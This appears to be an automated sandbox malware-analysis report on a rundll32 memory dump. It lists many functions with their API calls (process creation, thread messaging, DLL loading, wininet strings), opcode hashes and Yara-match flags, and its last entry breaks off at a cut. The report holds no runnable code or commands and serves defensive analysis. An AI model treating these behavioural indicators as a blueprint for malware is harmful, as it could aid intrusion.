Opcode ID: 601f8d8f6beed6c6c08d64160e81db94b7119bb43d960c202659bdae4defded4
Instruction ID: 4f2eec4c63b0fd09de9c182c3b205e4d770a7facda9ecdec5e01c22c903d738e
Opcode Fuzzy Hash: 601f8d8f6beed6c6c08d64160e81db94b7119bb43d960c202659bdae4defded4
Instruction Fuzzy Hash: 1790027524100423F11161594504707000AD7D0285FD1E422A0415598D9A96D962B161

Uniqueness

Uniqueness Score: -1.00%

Function 04399840 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0439984A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2bd8b5c64380aeb2bc924f5649f4fe5605106f0ed358afc4db7126c3ba098e1e
Instruction ID: 69312277669cb461dc5717120c5b4f2ea92ae694dc917285b0120fa8eed7b423
Opcode Fuzzy Hash: 2bd8b5c64380aeb2bc924f5649f4fe5605106f0ed358afc4db7126c3ba098e1e
Instruction Fuzzy Hash: 9C900265282041627545B15944045074007E7E02857D1E022A1405990C8966E866E661

Uniqueness

Uniqueness Score: -1.00%

Function 04399910 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0439991A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8b89be9d8b026009f76ff645dc1d46b66a33039532f3994f407557db4389a9c1
Instruction ID: b3d5cdae449b6d70800bfe2c5df57b2aa6a2a23e19db3b258f568f27f8d65277
Opcode Fuzzy Hash: 8b89be9d8b026009f76ff645dc1d46b66a33039532f3994f407557db4389a9c1
Instruction Fuzzy Hash: 2F9002B524100412F140715944047460006D7D0345F91E021A5055594E8A99DDE576A5

Uniqueness

Uniqueness Score: -1.00%

Function 04399540 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0439954A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 99f1c3bfd3065b0530d1fd279e7b6411724444b8f5629ed55f27b2cf246a6623
Instruction ID: 5a571b2dbf8c3f171e84afd00206739b16136c143ca4a8b40684c52dcb9e0f63
Opcode Fuzzy Hash: 99f1c3bfd3065b0530d1fd279e7b6411724444b8f5629ed55f27b2cf246a6623
Instruction Fuzzy Hash: 3D900269251000132105A55907045070047D7D5395391E031F1006590CDA61D8716161

Uniqueness

Uniqueness Score: -1.00%

Function 043999A0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 043999AA

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ab9a889481217ccbe1e12e023342051c9d562f47faa270bb5b1130b31a03656
Instruction ID: e01bf36f31eb2ef9cff4abf7416d1d716aaac79485c3aa8509c9d1ec19ebfe5b
Opcode Fuzzy Hash: 7ab9a889481217ccbe1e12e023342051c9d562f47faa270bb5b1130b31a03656
Instruction Fuzzy Hash: 039002A538100452F10061594414B060006D7E1345F91E025E1055594D8A59DC627166

Uniqueness

Uniqueness Score: -1.00%

Function 043995D0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 043995DA

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 96777e140a020adfb87d36c41dbebdd05173be6b051438e468e6de377662a427
Instruction ID: 9bbf3732d075648eeebcd9a38f9fa78e90e35df843866be6ad57b209738eb7d1
Opcode Fuzzy Hash: 96777e140a020adfb87d36c41dbebdd05173be6b051438e468e6de377662a427
Instruction Fuzzy Hash: AA9002A524200013610571594414616400BD7E0245B91E031E10055D0DC965D8A17165

Uniqueness

Uniqueness Score: -1.00%

Function 04399610 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0439961A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 08ad2364f83603ae9b5b1a5cb5b39520f828e0d7077179fc1f9fdba6f4f84652
Instruction ID: e1837a358836e7d72947c1e930c44b9e321baba1189962d1f6492c21816de116
Opcode Fuzzy Hash: 08ad2364f83603ae9b5b1a5cb5b39520f828e0d7077179fc1f9fdba6f4f84652
Instruction Fuzzy Hash: 7490027564500812F150715944147460006D7D0345F91E021A0015694D8B95DA6576E1

Uniqueness

Uniqueness Score: -1.00%

Function 04399660 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0439966A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d46f4f71e828982b076740e67a141bc764e1b286fc81ba6518a2d1932ba58a8b
Instruction ID: 44d20379bab10d548a6fc7ba45ca40a577fa24892948a1c77e267b7c041b4501
Opcode Fuzzy Hash: d46f4f71e828982b076740e67a141bc764e1b286fc81ba6518a2d1932ba58a8b
Instruction Fuzzy Hash: F190027524100812F1807159440464A0006D7D1345FD1E025A0016694DCE55DA6977E1

Uniqueness

Uniqueness Score: -1.00%

Function 04399A50 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04399A5A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 58c9872c89895c29e1f5ea1397af7adbec5c0dae1e369007fc42e534c9ab609d
Instruction ID: a1fd06e34223cf55da5ba5d45ebfb41abc30b3ee97de219c6a14292855c1cba4
Opcode Fuzzy Hash: 58c9872c89895c29e1f5ea1397af7adbec5c0dae1e369007fc42e534c9ab609d
Instruction Fuzzy Hash: FB90026525180052F20065694C14B070006D7D0347F91E125A0145594CCD55D8716561

Uniqueness

Uniqueness Score: -1.00%

Function 04399650 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0439965A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e914281986f8050b36f2db59cd8e3f19be2dbdbcd5cea58d5e35b0434f35e55e
Instruction ID: 1af0dca7464b1243a9254fc03fc3fd727e75da30a15693ce2f93bfc917f24cd2
Opcode Fuzzy Hash: e914281986f8050b36f2db59cd8e3f19be2dbdbcd5cea58d5e35b0434f35e55e
Instruction Fuzzy Hash: 6890027524504852F14071594404A460016D7D0349F91E021A00556D4D9A65DD65B6A1

Uniqueness

Uniqueness Score: -1.00%

Function 043996E0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 043996EA

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 38d2ab68b68792a233e9f5923d5788ffd3fafbd5195d3b172975a1abd448389f
Instruction ID: fe60d46aac7b1a307e953019166820d334b1e756a7abe2e3323d5ad2f4e5a4af
Opcode Fuzzy Hash: 38d2ab68b68792a233e9f5923d5788ffd3fafbd5195d3b172975a1abd448389f
Instruction Fuzzy Hash: 9F90027524108812F1106159840474A0006D7D0345F95E421A4415698D8AD5D8A17161

Uniqueness

Uniqueness Score: -1.00%

Function 043996D0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 043996DA

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 737428885b6cf498b6b6ae230409f7e0df56d09a89546c0718786cdbbbed09bb
Instruction ID: 45a1c0318efa8c82c776249c365d554960a1e159a21e4e7c631ff256f63dd1d6
Opcode Fuzzy Hash: 737428885b6cf498b6b6ae230409f7e0df56d09a89546c0718786cdbbbed09bb
Instruction Fuzzy Hash: 6390027524100852F10061594404B460006D7E0345F91E026A0115694D8A55D8617561

Uniqueness

Uniqueness Score: -1.00%

Function 04399710 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0439971A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b4e5f1d16500bd5e06a05a172f34584e14b45eeab6b63e901fe575d665c6b201
Instruction ID: fbbf7a4124f145a0a5fbfee636f8e9a75ca30b908dfde408d81d3c6e0e045054
Opcode Fuzzy Hash: b4e5f1d16500bd5e06a05a172f34584e14b45eeab6b63e901fe575d665c6b201
Instruction Fuzzy Hash: 1B90027524100412F100659954086460006D7E0345F91F021A5015595ECAA5D8A17171

Uniqueness

Uniqueness Score: -1.00%

Function 04399B00 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04399B0A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1f9c6e3b40337f41fd23e3322fa9be95ea0b9113f4ed4930be508117790616a6
Instruction ID: 1af1b118a1963f1636b3c6b40c262f4d1d8d9ed21dd99e9affa0ccf54c3ca1bf
Opcode Fuzzy Hash: 1f9c6e3b40337f41fd23e3322fa9be95ea0b9113f4ed4930be508117790616a6
Instruction Fuzzy Hash: E790026528100812F140715984147070007D7D0645F91E021A0015594D8A56D97576F1

Uniqueness

Uniqueness Score: -1.00%

Function 04399780 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0439978A

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a14c5c5954fc206904db243939d1a945e685e3501b3376e8f527ad85811f0b21
Instruction ID: 502292838a054fed78d1109dd53edc442f42bb58ebbd562d113cd8a17d1ea328
Opcode Fuzzy Hash: a14c5c5954fc206904db243939d1a945e685e3501b3376e8f527ad85811f0b21
Instruction Fuzzy Hash: F290026D25300012F1807159540860A0006D7D1246FD1F425A0006598CCD55D8796361

Uniqueness

Uniqueness Score: -1.00%

Function 04399FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04399FEA

Memory Dump Source

Source File: 0000000D.00000002.991201290.0000000004330000.00000040.00000800.00020000.00000000.sdmp, Offset: 04330000, based on PE: true

Associated: 0000000D.00000002.991313216.000000000444B000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.991328782.000000000444F000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_4330000_rundll32.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d04356b9e91db0c32637cdb465a2db102c59ee528bdda73cafcb17f07d9be72f
Instruction ID: b05a849fe34280c8f52b4ee4591eb2c80d5f1f242151b08626b449f3a3a38f3b
Opcode Fuzzy Hash: d04356b9e91db0c32637cdb465a2db102c59ee528bdda73cafcb17f07d9be72f
Instruction Fuzzy Hash: 8B90027535114412F110615984047060006D7D1245F91E421A0815598D8AD5D8A17162

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 33.6, APIs: 1, Strings: 18, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32(?), ref: 0040EE62

Strings

a, xrefs: 0040EDA3
a, xrefs: 0040EDAA
t, xrefs: 0040EDE2
e, xrefs: 0040ED08
l, xrefs: 0040ED1C
D, xrefs: 0040EDDB
o, xrefs: 0040ED8B
a, xrefs: 0040EDB8
m, xrefs: 0040EDCD
\, xrefs: 0040ECFE
, xrefs: 0040ED9C
n, xrefs: 0040EDD4
s, xrefs: 0040EDC6
\, xrefs: 0040ED81
\, xrefs: 0040EDB1
i, xrefs: 0040ED95
a, xrefs: 0040ED12
P, xrefs: 0040EDBF

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: $D$P$\$\$\$a$a$a$a$e$i$l$m$n$o$s$t
API String ID: 3188754299-3665197332
Opcode ID: 5a61c2da4d69d4bcfd17f76d931756600a93abb27211f3ec0c331e2fb14b6456
Instruction ID: 1ef7ca3a80f6413b7ef38f754c617cd285f13cbcbd145d9bd8510dead20d4467
Opcode Fuzzy Hash: 5a61c2da4d69d4bcfd17f76d931756600a93abb27211f3ec0c331e2fb14b6456
Instruction Fuzzy Hash: 9EC173B5900308AFD714DFA4CC85FEAB7B9BF48704F04856EF519AB241EB74AA84CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00419040 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 004190E8

Strings

net.dll, xrefs: 004190B1, 00419137, 0041910F, 0041911B, 00419143
wininet.dll, xrefs: 0041909E, 004190A7

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 5ad7bb6c5752c7aec3ef13a3bd73ff52ce3f8f6869e819bc17ec463f7db4a66d
Instruction ID: b523ba6dec22bbebefd11825d00210e1f60f663d6ada6f3f2a8ae62ee0c56319
Opcode Fuzzy Hash: 5ad7bb6c5752c7aec3ef13a3bd73ff52ce3f8f6869e819bc17ec463f7db4a66d
Instruction Fuzzy Hash: D831A1B6501701BBD711DF65C8A1FA7B7B8AF48704F00811EF6198B241D734A885CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 00419037 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 88sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 004190E8

Strings

net.dll, xrefs: 004190B1, 0041910F, 0041911B
wininet.dll, xrefs: 0041909E, 004190A7

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 4b475fd71c441250085c627be3984f6f96f011b53acd47aba1514b3569dc032b
Instruction ID: 646a372455ec3fec09100ccc6e66e9d81a9c74f9033f6daed0225977a8fa8387
Opcode Fuzzy Hash: 4b475fd71c441250085c627be3984f6f96f011b53acd47aba1514b3569dc032b
Instruction Fuzzy Hash: 5131D4B1501701ABE711DF65C8A1FE7BBB4AF48700F00811EF5195B342D378A985CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 004133BC Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,00000000,00403D06,00000000), ref: 004133D7

Strings

@J7<, xrefs: 004133EB

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: @J7<
API String ID: 2538663250-2016760708
Opcode ID: ddfa8a9d85e36506a3742240c32c610fb8ba5b49af5123350613c42c97b433cc
Instruction ID: e0a0a742b77e1c148407f7d3bf6fe799fcd8147708bbd2ed4276281d842924a2
Opcode Fuzzy Hash: ddfa8a9d85e36506a3742240c32c610fb8ba5b49af5123350613c42c97b433cc
Instruction Fuzzy Hash: DF313EB6A0060AAFDB10DFD8CC809EFB7B9BF88304B108559E515EB314D775AE458BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004133C0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,00000000,00403D06,00000000), ref: 004133D7

Strings

@J7<, xrefs: 004133EB

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: @J7<
API String ID: 2538663250-2016760708
Opcode ID: 8bd81b321109a2155e045c751a242a522052c9b934456cc777292468902f298c
Instruction ID: ecc5eee9fd9833542896f3933c27bbe0ec9c89b7ec4dd2f947f132e1e5d63186
Opcode Fuzzy Hash: 8bd81b321109a2155e045c751a242a522052c9b934456cc777292468902f298c
Instruction Fuzzy Hash: 98311CB5A0060AAFDB00DFD9CC809EFB7B9BF88304B108559E515AB314D775AE458BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00407678 Relevance: 3.1, APIs: 2, Instructions: 58threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 004076DA
PostThreadMessageW.USER32(0000000D,00008003,00000000,?,00000000), ref: 004076FB

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 42b4e83c6db53f4814189e1000a5f0ec009472d266f3bf21ab8573b8593c936f
Instruction ID: 07c0a6a484364ec5c7d4e100a6ebb4a06667abe7d90264f5695d1410d63addf8
Opcode Fuzzy Hash: 42b4e83c6db53f4814189e1000a5f0ec009472d266f3bf21ab8573b8593c936f
Instruction Fuzzy Hash: CE018831A9021877E720A6959C43FFE772C5F45B54F04411AFF04BA2C1E6A97D0647EA

Uniqueness

Uniqueness Score: -1.00%

Function 00407680 Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 004076DA
PostThreadMessageW.USER32(0000000D,00008003,00000000,?,00000000), ref: 004076FB

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 6af650f7b1f3ab1d58fc97e61f59b863b393006b87e05dab517541c89abe5cb2
Instruction ID: 724692d215f1cdb5ed0721353eb2d7bb8a3c5ff321720c45d76a988cf6dc1689
Opcode Fuzzy Hash: 6af650f7b1f3ab1d58fc97e61f59b863b393006b87e05dab517541c89abe5cb2
Instruction Fuzzy Hash: A401A731A8022877E720A6959C43FFE776C9F45B54F04412AFF04FA1C1EAE9790647EA

Uniqueness

Uniqueness Score: -1.00%

Function 00407645 Relevance: 3.0, APIs: 2, Instructions: 44threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0000000D,00000111,00000000,00000000,?), ref: 004076DA
PostThreadMessageW.USER32(0000000D,00008003,00000000,?,00000000), ref: 004076FB

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 73a4910d73d0e18e9b31a8d12a2eccfdcd5e2fc1b827176109176d32f64da8a9
Instruction ID: 0bdb853a8a9b2981da2e69337d37f98c45bcbca79e31684878e4c568e98ebbe9
Opcode Fuzzy Hash: 73a4910d73d0e18e9b31a8d12a2eccfdcd5e2fc1b827176109176d32f64da8a9
Instruction Fuzzy Hash: 12F0BB32B9561936E21059585C03FFE7758AB85B10F55016FFA04EF2C1EA9A5C0643EA

Uniqueness

Uniqueness Score: -1.00%

Function 0040A140 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040A1B2

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 14d9637ae75740dab2169e9387d270c154b89039a09ccd4394a8d994bcbcbc66
Instruction ID: 54c897b30bd2980d1a94ab12a4847daa34ceaa2c6d6f27a57bf66562afafc7fc
Opcode Fuzzy Hash: 14d9637ae75740dab2169e9387d270c154b89039a09ccd4394a8d994bcbcbc66
Instruction Fuzzy Hash: 380152B5E0020DB7DF10DBA1DC42FDEB7789B54308F0441A9E908A7281F634EB548B95

Uniqueness

Uniqueness Score: -1.00%

Function 0041A6A0 Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,?,?,00000010,?,00000044,?,?,?,00000044,?,00000010,?,?,?,?), ref: 0041A6F4

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 876076b5dbb47a892ddfedc491b322af51d313241269a642b7957940f7f79bb3
Instruction ID: be4357f6cc2ba88da2ddbe3260239d7cee94800365efe4a0c81fac33759dc79f
Opcode Fuzzy Hash: 876076b5dbb47a892ddfedc491b322af51d313241269a642b7957940f7f79bb3
Instruction Fuzzy Hash: 5301B2B2210108BFCB54DF89DC80EEB77ADAF8C754F118258BA0D97251C630EC51CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419170 Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,-00000002,?,00000000,00000000,?,?,0040D2F0,?,?), ref: 004191AC

Memory Dump Source

Source File: 0000000D.00000002.959879577.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a8bb098e34309b26e563db42508690de37a99e1f6fe74637bd78da23ab355215
Instruction ID: 6f668a82240a2645691515a6fc7efcb909bb8315b248c75b2672dd95ad21a52e
Opcode Fuzzy Hash: a8bb098e34309b26e563db42508690de37a99e1f6fe74637bd78da23ab355215
Instruction Fuzzy Hash: 20E06D3338030437E22061A99C02FE7B39C9B80B64F58002AFA0DEA2C1D595F84102A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041A663 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000005,00000000,00000000,00000005,00000060,00000000,00000000,?,?,00000000,00000206,?), ref: 0041A65D

Memory Dump Source

